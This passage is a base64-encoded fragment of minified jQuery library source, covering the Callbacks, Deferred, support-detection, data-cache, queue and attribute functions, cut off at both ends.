1iJiZ0eXBlb2YgaT09Im51bWJlciImJihpPjAmJmFbMF0mJmFbaS0xXXx8aT09PTB8fHAuaXNBcnJheShhKSk7aWYoailmb3IoO2g8aTtoKyspZT1jKGFbaF0saCxkKSxlIT1udWxsJiYoZ1tnLmxlbmd0aF09ZSk7ZWxzZSBmb3IoZiBpbiBhKWU9YyhhW2ZdLGYsZCksZSE9bnVsbCYmKGdbZy5sZW5ndGhdPWUpO3JldHVybiBnLmNvbmNhdC5hcHBseShbXSxnKX0sZ3VpZDoxLHByb3h5OmZ1bmN0aW9uKGEsYyl7dmFyIGQsZSxmO3JldHVybiB0eXBlb2YgYz09InN0cmluZyImJihkPWFbY10sYz1hLGE9ZCkscC5pc0Z1bmN0aW9uKGEpPyhlPWsuY2FsbChhcmd1bWVudHMsMiksZj1mdW5jdGlvbigpe3JldHVybiBhLmFwcGx5KGMsZS5jb25jYXQoay5jYWxsKGFyZ3VtZW50cykpKX0sZi5ndWlkPWEuZ3VpZD1hLmd1aWR8fHAuZ3VpZCsrLGYpOmJ9LGFjY2VzczpmdW5jdGlvbihhLGMsZCxlLGYsZyxoKXt2YXIgaSxqPWQ9PW51bGwsaz0wLGw9YS5sZW5ndGg7aWYoZCYmdHlwZW9mIGQ9PSJvYmplY3QiKXtmb3IoayBpbiBkKXAuYWNjZXNzKGEsYyxrLGRba10sMSxnLGUpO2Y9MX1lbHNlIGlmKGUhPT1iKXtpPWg9PT1iJiZwLmlzRnVuY3Rpb24oZSksaiYmKGk/KGk9YyxjPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gaS5jYWxsKHAoYSksYyl9KTooYy5jYWxsKGEsZSksYz1udWxsKSk7aWYoYylmb3IoO2s8bDtrKyspYyhhW2tdLGQsaT9lLmNhbGwoYVtrXSxrLGMoYVtrXSxkKSk6ZSxoKTtmPTF9cmV0dXJuIGY/YTpqP2MuY2FsbChhKTpsP2MoYVswXSxkKTpnfSxub3c6ZnVuY3Rpb24oKXtyZXR1cm4obmV3IERhdGUpLmdldFRpbWUoKX19KSxwLnJlYWR5LnByb21pc2U9ZnVuY3Rpb24oYil7aWYoIWQpe2Q9cC5EZWZlcnJlZCgpO2lmKGUucmVhZHlTdGF0ZT09PSJjb21wbGV0ZSIpc2V0VGltZW91dChwLnJlYWR5LDEpO2Vsc2UgaWYoZS5hZGRFdmVudExpc3RlbmVyKWUuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsRCwhMSksYS5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixwLnJlYWR5LCExKTtlbHNle2UuYXR0YWNoRXZlbnQoIm9ucmVhZHlzdGF0ZWNoYW5nZSIsRCksYS5hdHRhY2hFdmVudCgib25sb2FkIixwLnJlYWR5KTt2YXIgYz0hMTt0cnl7Yz1hLmZyYW1lRWxlbWVudD09bnVsbCYmZS5kb2N1bWVudEVsZW1lbnR9Y2F0Y2goZil7fWMmJmMuZG9TY3JvbGwmJmZ1bmN0aW9uIGcoKXtpZighcC5pc1JlYWR5KXt0cnl7Yy5kb1Njcm9sbCgibGVmdCIpfWNhdGNoKGEpe3JldHVybiBzZXRUaW1lb3V0KGcsNTApfXAucmVhZHkoKX19KCl9fXJldHVybiBkLnByb21pc2UoYil9LHAuZWFjaCgiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGIpe0VbIltvYmplY3QgIitiKyJdIl09Yi50b0xvd2VyQ2FzZSgpfSksYz1wKGUpO3ZhciBGPXt9O3AuQ2FsbGJhY2tzPWZ1bmN0aW9uKGEpe2E9dHlwZW9mIGE9PSJzdHJpbmciP0ZbYV18fEcoYSk6cC5leHRlbmQoe30sYSk7dmFyIGMsZCxlLGYsZyxoLGk9W10saj0hYS5vbmNlJiZbXSxrPWZ1bmN0aW9uKGIpe2M9YS5tZW1vcnkmJmIsZD0hMCxoPWZ8fDAsZj0wLGc9aS5sZW5ndGgsZT0hMDtmb3IoO2kmJmg8ZztoKyspaWYoaVtoXS5hcHBseShiWzBdLGJbMV0pPT09ITEmJmEuc3RvcE9uRmFsc2Upe2M9ITE7YnJlYWt9ZT0hMSxpJiYoaj9qLmxlbmd0aCYmayhqLnNoaWZ0KCkpOmM/aT1bXTpsLmRpc2FibGUoKSl9LGw9e2FkZDpmdW5jdGlvbigpe2lmKGkpe3ZhciBiPWkubGVuZ3RoOyhmdW5jdGlvbiBkKGIpe3AuZWFjaChiLGZ1bmN0aW9uKGIsYyl7dmFyIGU9cC50eXBlKGMpO2U9PT0iZnVuY3Rpb24iJiYoIWEudW5pcXVlfHwhbC5oYXMoYykpP2kucHVzaChjKTpjJiZjLmxlbmd0aCYmZSE9PSJzdHJpbmciJiZkKGMpfSl9KShhcmd1bWVudHMpLGU/Zz1pLmxlbmd0aDpjJiYoZj1iLGsoYykpfXJldHVybiB0aGlzfSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gaSYmcC5lYWNoKGFyZ3VtZW50cyxmdW5jdGlvbihhLGIpe3ZhciBjO3doaWxlKChjPXAuaW5BcnJheShiLGksYykpPi0xKWkuc3BsaWNlKGMsMSksZSYmKGM8PWcmJmctLSxjPD1oJiZoLS0pfSksdGhpc30saGFzOmZ1bmN0aW9uKGEpe3JldHVybiBwLmluQXJyYXkoYSxpKT4tMX0sZW1wdHk6ZnVuY3Rpb24oKXtyZXR1cm4gaT1bXSx0aGlzfSxkaXNhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIGk9aj1jPWIsdGhpc30sZGlzYWJsZWQ6ZnVuY3Rpb24oKXtyZXR1cm4haX0sbG9jazpmdW5jdGlvbigpe3JldHVybiBqPWIsY3x8bC5kaXNhYmxlKCksdGhpc30sbG9ja2VkOmZ1bmN0aW9uKCl7cmV0dXJuIWp9LGZpcmVXaXRoOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGI9Ynx8W10sYj1bYSxiLnNsaWNlP2Iuc2xpY2UoKTpiXSxpJiYoIWR8fGopJiYoZT9qLnB1c2goYik6ayhiKSksdGhpc30sZmlyZTpmdW5jdGlvbigpe3JldHVybiBsLmZpcmVXaXRoKHRoaXMsYXJndW1lbnRzKSx0aGlzfSxmaXJlZDpmdW5jdGlvbigpe3JldHVybiEhZH19O3JldHVybiBsfSxwLmV4dGVuZCh7RGVmZXJyZWQ6ZnVuY3Rpb24oYSl7dmFyIGI9W1sicmVzb2x2ZSIsImRvbmUiLHAuQ2FsbGJhY2tzKCJvbmNlIG1lbW9yeSIpLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIscC5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksInJlamVjdGVkIl0sWyJub3RpZnkiLCJwcm9ncmVzcyIscC5DYWxsYmFja3MoIm1lbW9yeSIpXV0sYz0icGVuZGluZyIsZD17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gY30sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIGUuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSx0aGVuOmZ1bmN0aW9uKCl7dmFyIGE9YXJndW1lbnRzO3JldHVybiBwLkRlZmVycmVkKGZ1bmN0aW9uKGMpe3AuZWFjaChiLGZ1bmN0aW9uKGIsZCl7dmFyIGY9ZFswXSxnPWFbYl07ZVtkWzFdXShwLmlzRnVuY3Rpb24oZyk/ZnVuY3Rpb24oKXt2YXIgYT1nLmFwcGx5KHRoaXMsYXJndW1lbnRzKTthJiZwLmlzRnVuY3Rpb24oYS5wcm9taXNlKT9hLnByb21pc2UoKS5kb25lKGMucmVzb2x2ZSkuZmFpbChjLnJlamVjdCkucHJvZ3Jlc3MoYy5ub3RpZnkpOmNbZisiV2l0aCJdKHRoaXM9PT1lP2M6dGhpcyxbYV0pfTpjW2ZdKX0pLGE9bnVsbH0pLnByb21pc2UoKX0scHJvbWlzZTpmdW5jdGlvbihhKXtyZXR1cm4gYSE9bnVsbD9wLmV4dGVuZChhLGQpOmR9fSxlPXt9O3JldHVybiBkLnBpcGU9ZC50aGVuLHAuZWFjaChiLGZ1bmN0aW9uKGEsZil7dmFyIGc9ZlsyXSxoPWZbM107ZFtmWzFdXT1nLmFkZCxoJiZnLmFkZChmdW5jdGlvbigpe2M9aH0sYlthXjFdWzJdLmRpc2FibGUsYlsyXVsyXS5sb2NrKSxlW2ZbMF1dPWcuZmlyZSxlW2ZbMF0rIldpdGgiXT1nLmZpcmVXaXRofSksZC5wcm9taXNlKGUpLGEmJmEuY2FsbChlLGUpLGV9LHdoZW46ZnVuY3Rpb24oYSl7dmFyIGI9MCxjPWsuY2FsbChhcmd1bWVudHMpLGQ9Yy5sZW5ndGgsZT1kIT09MXx8YSYmcC5pc0Z1bmN0aW9uKGEucHJvbWlzZSk/ZDowLGY9ZT09PTE/YTpwLkRlZmVycmVkKCksZz1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIGZ1bmN0aW9uKGQpe2JbYV09dGhpcyxjW2FdPWFyZ3VtZW50cy5sZW5ndGg+MT9rLmNhbGwoYXJndW1lbnRzKTpkLGM9PT1oP2Yubm90aWZ5V2l0aChiLGMpOi0tZXx8Zi5yZXNvbHZlV2l0aChiLGMpfX0saCxpLGo7aWYoZD4xKXtoPW5ldyBBcnJheShkKSxpPW5ldyBBcnJheShkKSxqPW5ldyBBcnJheShkKTtmb3IoO2I8ZDtiKyspY1tiXSYmcC5pc0Z1bmN0aW9uKGNbYl0ucHJvbWlzZSk/Y1tiXS5wcm9taXNlKCkuZG9uZShnKGIsaixjKSkuZmFpbChmLnJlamVjdCkucHJvZ3Jlc3MoZyhiLGksaCkpOi0tZX1yZXR1cm4gZXx8Zi5yZXNvbHZlV2l0aChqLGMpLGYucHJvbWlzZSgpfX0pLHAuc3VwcG9ydD1mdW5jdGlvbigpe3ZhciBiLGMsZCxmLGcsaCxpLGosayxsLG0sbj1lLmNyZWF0ZUVsZW1lbnQoImRpdiIpO24uc2V0QXR0cmlidXRlKCJjbGFzc05hbWUiLCJ0Iiksbi5pbm5lckhUTUw9IiAgPGxpbmsvPjx0YWJsZT48L3RhYmxlPjxhIGhyZWY9Jy9hJz5hPC9hPjxpbnB1dCB0eXBlPSdjaGVja2JveCcvPiIsYz1uLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIiksZD1uLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJhIilbMF0sZC5zdHlsZS5jc3NUZXh0PSJ0b3A6MXB4O2Zsb2F0OmxlZnQ7b3BhY2l0eTouNSI7aWYoIWN8fCFjLmxlbmd0aClyZXR1cm57fTtmPWUuY3JlYXRlRWxlbWVudCgic2VsZWN0IiksZz1mLmFwcGVuZENoaWxkKGUuY3JlYXRlRWxlbWVudCgib3B0aW9uIikpLGg9bi5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKVswXSxiPXtsZWFkaW5nV2hpdGVzcGFjZTpuLmZpcnN0Q2hpbGQubm9kZVR5cGU9PT0zLHRib2R5OiFuLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0Ym9keSIpLmxlbmd0aCxodG1sU2VyaWFsaXplOiEhbi5nZXRFbGVtZW50c0J5VGFnTmFtZSgibGluayIpLmxlbmd0aCxzdHlsZTovdG9wLy50ZXN0KGQuZ2V0QXR0cmlidXRlKCJzdHlsZSIpKSxocmVmTm9ybWFsaXplZDpkLmdldEF0dHJpYnV0ZSgiaHJlZiIpPT09Ii9hIixvcGFjaXR5Oi9eMC41Ly50ZXN0KGQuc3R5bGUub3BhY2l0eSksY3NzRmxvYXQ6ISFkLnN0eWxlLmNzc0Zsb2F0LGNoZWNrT246aC52YWx1ZT09PSJvbiIsb3B0U2VsZWN0ZWQ6Zy5zZWxlY3RlZCxnZXRTZXRBdHRyaWJ1dGU6bi5jbGFzc05hbWUhPT0idCIsZW5jdHlwZTohIWUuY3JlYXRlRWxlbWVudCgiZm9ybSIpLmVuY3R5cGUsaHRtbDVDbG9uZTplLmNyZWF0ZUVsZW1lbnQoIm5hdiIpLmNsb25lTm9kZSghMCkub3V0ZXJIVE1MIT09Ijw6bmF2PjwvOm5hdj4iLGJveE1vZGVsOmUuY29tcGF0TW9kZT09PSJDU1MxQ29tcGF0IixzdWJtaXRCdWJibGVzOiEwLGNoYW5nZUJ1YmJsZXM6ITAsZm9jdXNpbkJ1YmJsZXM6ITEsZGVsZXRlRXhwYW5kbzohMCxub0Nsb25lRXZlbnQ6ITAsaW5saW5lQmxvY2tOZWVkc0xheW91dDohMSxzaHJpbmtXcmFwQmxvY2tzOiExLHJlbGlhYmxlTWFyZ2luUmlnaHQ6ITAsYm94U2l6aW5nUmVsaWFibGU6ITAscGl4ZWxQb3NpdGlvbjohMX0saC5jaGVja2VkPSEwLGIubm9DbG9uZUNoZWNrZWQ9aC5jbG9uZU5vZGUoITApLmNoZWNrZWQsZi5kaXNhYmxlZD0hMCxiLm9wdERpc2FibGVkPSFnLmRpc2FibGVkO3RyeXtkZWxldGUgbi50ZXN0fWNhdGNoKG8pe2IuZGVsZXRlRXhwYW5kbz0hMX0hbi5hZGRFdmVudExpc3RlbmVyJiZuLmF0dGFjaEV2ZW50JiZuLmZpcmVFdmVudCYmKG4uYXR0YWNoRXZlbnQoIm9uY2xpY2siLG09ZnVuY3Rpb24oKXtiLm5vQ2xvbmVFdmVudD0hMX0pLG4uY2xvbmVOb2RlKCEwKS5maXJlRXZlbnQoIm9uY2xpY2siKSxuLmRldGFjaEV2ZW50KCJvbmNsaWNrIixtKSksaD1lLmNyZWF0ZUVsZW1lbnQoImlucHV0IiksaC52YWx1ZT0idCIsaC5zZXRBdHRyaWJ1dGUoInR5cGUiLCJyYWRpbyIpLGIucmFkaW9WYWx1ZT1oLnZhbHVlPT09InQiLGguc2V0QXR0cmlidXRlKCJjaGVja2VkIiwiY2hlY2tlZCIpLGguc2V0QXR0cmlidXRlKCJuYW1lIiwidCIpLG4uYXBwZW5kQ2hpbGQoaCksaT1lLmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKSxpLmFwcGVuZENoaWxkKG4ubGFzdENoaWxkKSxiLmNoZWNrQ2xvbmU9aS5jbG9uZU5vZGUoITApLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmNoZWNrZWQsYi5hcHBlbmRDaGVja2VkPWguY2hlY2tlZCxpLnJlbW92ZUNoaWxkKGgpLGkuYXBwZW5kQ2hpbGQobik7aWYobi5hdHRhY2hFdmVudClmb3IoayBpbntzdWJtaXQ6ITAsY2hhbmdlOiEwLGZvY3VzaW46ITB9KWo9Im9uIitrLGw9aiBpbiBuLGx8fChuLnNldEF0dHJpYnV0ZShqLCJyZXR1cm47IiksbD10eXBlb2YgbltqXT09ImZ1bmN0aW9uIiksYltrKyJCdWJibGVzIl09bDtyZXR1cm4gcChmdW5jdGlvbigpe3ZhciBjLGQsZixnLGg9InBhZGRpbmc6MDttYXJnaW46MDtib3JkZXI6MDtkaXNwbGF5OmJsb2NrO292ZXJmbG93OmhpZGRlbjsiLGk9ZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYm9keSIpWzBdO2lmKCFpKXJldHVybjtjPWUuY3JlYXRlRWxlbWVudCgiZGl2IiksYy5zdHlsZS5jc3NUZXh0PSJ2aXNpYmlsaXR5OmhpZGRlbjtib3JkZXI6MDt3aWR0aDowO2hlaWdodDowO3Bvc2l0aW9uOnN0YXRpYzt0b3A6MDttYXJnaW4tdG9wOjFweCIsaS5pbnNlcnRCZWZvcmUoYyxpLmZpcnN0Q2hpbGQpLGQ9ZS5jcmVhdGVFbGVtZW50KCJkaXYiKSxjLmFwcGVuZENoaWxkKGQpLGQuaW5uZXJIVE1MPSI8dGFibGU+PHRyPjx0ZD48L3RkPjx0ZD50PC90ZD48L3RyPjwvdGFibGU+IixmPWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInRkIiksZlswXS5zdHlsZS5jc3NUZXh0PSJwYWRkaW5nOjA7bWFyZ2luOjA7Ym9yZGVyOjA7ZGlzcGxheTpub25lIixsPWZbMF0ub2Zmc2V0SGVpZ2h0PT09MCxmWzBdLnN0eWxlLmRpc3BsYXk9IiIsZlsxXS5zdHlsZS5kaXNwbGF5PSJub25lIixiLnJlbGlhYmxlSGlkZGVuT2Zmc2V0cz1sJiZmWzBdLm9mZnNldEhlaWdodD09PTAsZC5pbm5lckhUTUw9IiIsZC5zdHlsZS5jc3NUZXh0PSJib3gtc2l6aW5nOmJvcmRlci1ib3g7LW1vei1ib3gtc2l6aW5nOmJvcmRlci1ib3g7LXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7cGFkZGluZzoxcHg7Ym9yZGVyOjFweDtkaXNwbGF5OmJsb2NrO3dpZHRoOjRweDttYXJnaW4tdG9wOjElO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxJTsiLGIuYm94U2l6aW5nPWQub2Zmc2V0V2lkdGg9PT00LGIuZG9lc05vdEluY2x1ZGVNYXJnaW5JbkJvZHlPZmZzZXQ9aS5vZmZzZXRUb3AhPT0xLGEuZ2V0Q29tcHV0ZWRTdHlsZSYmKGIucGl4ZWxQb3NpdGlvbj0oYS5nZXRDb21wdXRlZFN0eWxlKGQsbnVsbCl8fHt9KS50b3AhPT0iMSUiLGIuYm94U2l6aW5nUmVsaWFibGU9KGEuZ2V0Q29tcHV0ZWRTdHlsZShkLG51bGwpfHx7d2lkdGg6IjRweCJ9KS53aWR0aD09PSI0cHgiLGc9ZS5jcmVhdGVFbGVtZW50KCJkaXYiKSxnLnN0eWxlLmNzc1RleHQ9ZC5zdHlsZS5jc3NUZXh0PWgsZy5zdHlsZS5tYXJnaW5SaWdodD1nLnN0eWxlLndpZHRoPSIwIixkLnN0eWxlLndpZHRoPSIxcHgiLGQuYXBwZW5kQ2hpbGQoZyksYi5yZWxpYWJsZU1hcmdpblJpZ2h0PSFwYXJzZUZsb2F0KChhLmdldENvbXB1dGVkU3R5bGUoZyxudWxsKXx8e30pLm1hcmdpblJpZ2h0KSksdHlwZW9mIGQuc3R5bGUuem9vbSE9InVuZGVmaW5lZCImJihkLmlubmVySFRNTD0iIixkLnN0eWxlLmNzc1RleHQ9aCsid2lkdGg6MXB4O3BhZGRpbmc6MXB4O2Rpc3BsYXk6aW5saW5lO3pvb206MSIsYi5pbmxpbmVCbG9ja05lZWRzTGF5b3V0PWQub2Zmc2V0V2lkdGg9PT0zLGQuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQuc3R5bGUub3ZlcmZsb3c9InZpc2libGUiLGQuaW5uZXJIVE1MPSI8ZGl2PjwvZGl2PiIsZC5maXJzdENoaWxkLnN0eWxlLndpZHRoPSI1cHgiLGIuc2hyaW5rV3JhcEJsb2Nrcz1kLm9mZnNldFdpZHRoIT09MyxjLnN0eWxlLnpvb209MSksaS5yZW1vdmVDaGlsZChjKSxjPWQ9Zj1nPW51bGx9KSxpLnJlbW92ZUNoaWxkKG4pLGM9ZD1mPWc9aD1pPW49bnVsbCxifSgpO3ZhciBIPS8oPzpce1tcc1xTXSpcfXxcW1tcc1xTXSpcXSkkLyxJPS8oW0EtWl0pL2c7cC5leHRlbmQoe2NhY2hlOnt9LGRlbGV0ZWRJZHM6W10sdXVpZDowLGV4cGFuZG86ImpRdWVyeSIrKHAuZm4uanF1ZXJ5K01hdGgucmFuZG9tKCkpLnJlcGxhY2UoL1xEL2csIiIpLG5vRGF0YTp7ZW1iZWQ6ITAsb2JqZWN0OiJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiLGFwcGxldDohMH0saGFzRGF0YTpmdW5jdGlvbihhKXtyZXR1cm4gYT1hLm5vZGVUeXBlP3AuY2FjaGVbYVtwLmV4cGFuZG9dXTphW3AuZXhwYW5kb10sISFhJiYhSyhhKX0sZGF0YTpmdW5jdGlvbihhLGMsZCxlKXtpZighcC5hY2NlcHREYXRhKGEpKXJldHVybjt2YXIgZixnLGg9cC5leHBhbmRvLGk9dHlwZW9mIGM9PSJzdHJpbmciLGo9YS5ub2RlVHlwZSxrPWo/cC5jYWNoZTphLGw9aj9hW2hdOmFbaF0mJmg7aWYoKCFsfHwha1tsXXx8IWUmJiFrW2xdLmRhdGEpJiZpJiZkPT09YilyZXR1cm47bHx8KGo/YVtoXT1sPXAuZGVsZXRlZElkcy5wb3AoKXx8cC5ndWlkKys6bD1oKSxrW2xdfHwoa1tsXT17fSxqfHwoa1tsXS50b0pTT049cC5ub29wKSk7aWYodHlwZW9mIGM9PSJvYmplY3QifHx0eXBlb2YgYz09ImZ1bmN0aW9uIillP2tbbF09cC5leHRlbmQoa1tsXSxjKTprW2xdLmRhdGE9cC5leHRlbmQoa1tsXS5kYXRhLGMpO3JldHVybiBmPWtbbF0sZXx8KGYuZGF0YXx8KGYuZGF0YT17fSksZj1mLmRhdGEpLGQhPT1iJiYoZltwLmNhbWVsQ2FzZShjKV09ZCksaT8oZz1mW2NdLGc9PW51bGwmJihnPWZbcC5jYW1lbENhc2UoYyldKSk6Zz1mLGd9LHJlbW92ZURhdGE6ZnVuY3Rpb24oYSxiLGMpe2lmKCFwLmFjY2VwdERhdGEoYSkpcmV0dXJuO3ZhciBkLGUsZixnPWEubm9kZVR5cGUsaD1nP3AuY2FjaGU6YSxpPWc/YVtwLmV4cGFuZG9dOnAuZXhwYW5kbztpZighaFtpXSlyZXR1cm47aWYoYil7ZD1jP2hbaV06aFtpXS5kYXRhO2lmKGQpe3AuaXNBcnJheShiKXx8KGIgaW4gZD9iPVtiXTooYj1wLmNhbWVsQ2FzZShiKSxiIGluIGQ/Yj1bYl06Yj1iLnNwbGl0KCIgIikpKTtmb3IoZT0wLGY9Yi5sZW5ndGg7ZTxmO2UrKylkZWxldGUgZFtiW2VdXTtpZighKGM/SzpwLmlzRW1wdHlPYmplY3QpKGQpKXJldHVybn19aWYoIWMpe2RlbGV0ZSBoW2ldLmRhdGE7aWYoIUsoaFtpXSkpcmV0dXJufWc/cC5jbGVhbkRhdGEoW2FdLCEwKTpwLnN1cHBvcnQuZGVsZXRlRXhwYW5kb3x8aCE9aC53aW5kb3c/ZGVsZXRlIGhbaV06aFtpXT1udWxsfSxfZGF0YTpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIHAuZGF0YShhLGIsYywhMCl9LGFjY2VwdERhdGE6ZnVuY3Rpb24oYSl7dmFyIGI9YS5ub2RlTmFtZSYmcC5ub0RhdGFbYS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpXTtyZXR1cm4hYnx8YiE9PSEwJiZhLmdldEF0dHJpYnV0ZSgiY2xhc3NpZCIpPT09Yn19KSxwLmZuLmV4dGVuZCh7ZGF0YTpmdW5jdGlvbihhLGMpe3ZhciBkLGUsZixnLGgsaT10aGlzWzBdLGo9MCxrPW51bGw7aWYoYT09PWIpe2lmKHRoaXMubGVuZ3RoKXtrPXAuZGF0YShpKTtpZihpLm5vZGVUeXBlPT09MSYmIXAuX2RhdGEoaSwicGFyc2VkQXR0cnMiKSl7Zj1pLmF0dHJpYnV0ZXM7Zm9yKGg9Zi5sZW5ndGg7ajxoO2orKylnPWZbal0ubmFtZSxnLmluZGV4T2YoImRhdGEtIil8fChnPXAuY2FtZWxDYXNlKGcuc3Vic3RyaW5nKDUpKSxKKGksZyxrW2ddKSk7cC5fZGF0YShpLCJwYXJzZWRBdHRycyIsITApfX1yZXR1cm4ga31yZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP3RoaXMuZWFjaChmdW5jdGlvbigpe3AuZGF0YSh0aGlzLGEpfSk6KGQ9YS5zcGxpdCgiLiIsMiksZFsxXT1kWzFdPyIuIitkWzFdOiIiLGU9ZFsxXSsiISIscC5hY2Nlc3ModGhpcyxmdW5jdGlvbihjKXtpZihjPT09YilyZXR1cm4gaz10aGlzLnRyaWdnZXJIYW5kbGVyKCJnZXREYXRhIitlLFtkWzBdXSksaz09PWImJmkmJihrPXAuZGF0YShpLGEpLGs9SihpLGEsaykpLGs9PT1iJiZkWzFdP3RoaXMuZGF0YShkWzBdKTprO2RbMV09Yyx0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgYj1wKHRoaXMpO2IudHJpZ2dlckhhbmRsZXIoInNldERhdGEiK2UsZCkscC5kYXRhKHRoaXMsYSxjKSxiLnRyaWdnZXJIYW5kbGVyKCJjaGFuZ2VEYXRhIitlLGQpfSl9LG51bGwsYyxhcmd1bWVudHMubGVuZ3RoPjEsbnVsbCwhMSkpfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtwLnJlbW92ZURhdGEodGhpcyxhKX0pfX0pLHAuZXh0ZW5kKHtxdWV1ZTpmdW5jdGlvbihhLGIsYyl7dmFyIGQ7aWYoYSlyZXR1cm4gYj0oYnx8ImZ4IikrInF1ZXVlIixkPXAuX2RhdGEoYSxiKSxjJiYoIWR8fHAuaXNBcnJheShjKT9kPXAuX2RhdGEoYSxiLHAubWFrZUFycmF5KGMpKTpkLnB1c2goYykpLGR8fFtdfSxkZXF1ZXVlOmZ1bmN0aW9uKGEsYil7Yj1ifHwiZngiO3ZhciBjPXAucXVldWUoYSxiKSxkPWMubGVuZ3RoLGU9Yy5zaGlmdCgpLGY9cC5fcXVldWVIb29rcyhhLGIpLGc9ZnVuY3Rpb24oKXtwLmRlcXVldWUoYSxiKX07ZT09PSJpbnByb2dyZXNzIiYmKGU9Yy5zaGlmdCgpLGQtLSksZSYmKGI9PT0iZngiJiZjLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgZi5zdG9wLGUuY2FsbChhLGcsZikpLCFkJiZmJiZmLmVtcHR5LmZpcmUoKX0sX3F1ZXVlSG9va3M6ZnVuY3Rpb24oYSxiKXt2YXIgYz1iKyJxdWV1ZUhvb2tzIjtyZXR1cm4gcC5fZGF0YShhLGMpfHxwLl9kYXRhKGEsYyx7ZW1wdHk6cC5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7cC5yZW1vdmVEYXRhKGEsYisicXVldWUiLCEwKSxwLnJlbW92ZURhdGEoYSxjLCEwKX0pfSl9fSkscC5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGEsYyl7dmFyIGQ9MjtyZXR1cm4gdHlwZW9mIGEhPSJzdHJpbmciJiYoYz1hLGE9ImZ4IixkLS0pLGFyZ3VtZW50cy5sZW5ndGg8ZD9wLnF1ZXVlKHRoaXNbMF0sYSk6Yz09PWI/dGhpczp0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgYj1wLnF1ZXVlKHRoaXMsYSxjKTtwLl9xdWV1ZUhvb2tzKHRoaXMsYSksYT09PSJmeCImJmJbMF0hPT0iaW5wcm9ncmVzcyImJnAuZGVxdWV1ZSh0aGlzLGEpfSl9LGRlcXVldWU6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3AuZGVxdWV1ZSh0aGlzLGEpfSl9LGRlbGF5OmZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9cC5meD9wLmZ4LnNwZWVkc1thXXx8YTphLGI9Ynx8ImZ4Iix0aGlzLnF1ZXVlKGIsZnVuY3Rpb24oYixjKXt2YXIgZD1zZXRUaW1lb3V0KGIsYSk7Yy5zdG9wPWZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KGQpfX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnF1ZXVlKGF8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGEsYyl7dmFyIGQsZT0xLGY9cC5EZWZlcnJlZCgpLGc9dGhpcyxoPXRoaXMubGVuZ3RoLGk9ZnVuY3Rpb24oKXstLWV8fGYucmVzb2x2ZVdpdGgoZyxbZ10pfTt0eXBlb2YgYSE9InN0cmluZyImJihjPWEsYT1iKSxhPWF8fCJmeCI7d2hpbGUoaC0tKWQ9cC5fZGF0YShnW2hdLGErInF1ZXVlSG9va3MiKSxkJiZkLmVtcHR5JiYoZSsrLGQuZW1wdHkuYWRkKGkpKTtyZXR1cm4gaSgpLGYucHJvbWlzZShjKX19KTt2YXIgTCxNLE4sTz0vW1x0XHJcbl0vZyxQPS9cci9nLFE9L14oPzpidXR0b258aW5wdXQpJC9pLFI9L14oPzpidXR0b258aW5wdXR8b2JqZWN0fHNlbGVjdHx0ZXh0YXJlYSkkL2ksUz0vXmEoPzpyZWF8KSQvaSxUPS9eKD86YXV0b2ZvY3VzfGF1dG9wbGF5fGFzeW5jfGNoZWNrZWR8Y29udHJvbHN8ZGVmZXJ8ZGlzYWJsZWR8aGlkZGVufGxvb3B8bXVsdGlwbGV8b3BlbnxyZWFkb25seXxyZXF1aXJlZHxzY29wZWR8c2VsZWN0ZWQpJC9pLFU9cC5zdXBwb3J0LmdldFNldEF0dHJpYnV0ZTtwLmZuLmV4dGVuZCh7YXR0cjpmdW5jdGlvbihhLGIpe3JldHVybiBwLmFjY2Vzcyh0aGlzLHAuYXR0cixhLGIsYXJndW1lbnRzLmxlbmd0aD4xKX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7cC5yZW1vdmVBdHRyKHRoaXMsYSl9KX0scHJvcDpmdW5jdGlvbihhLGIpe3JldHVybiBwLmFjY2Vzcyh0aGlzLHAucHJvcCxhLGIsYXJndW1lbnRzLmxlbmd0aD4xKX0scmVtb3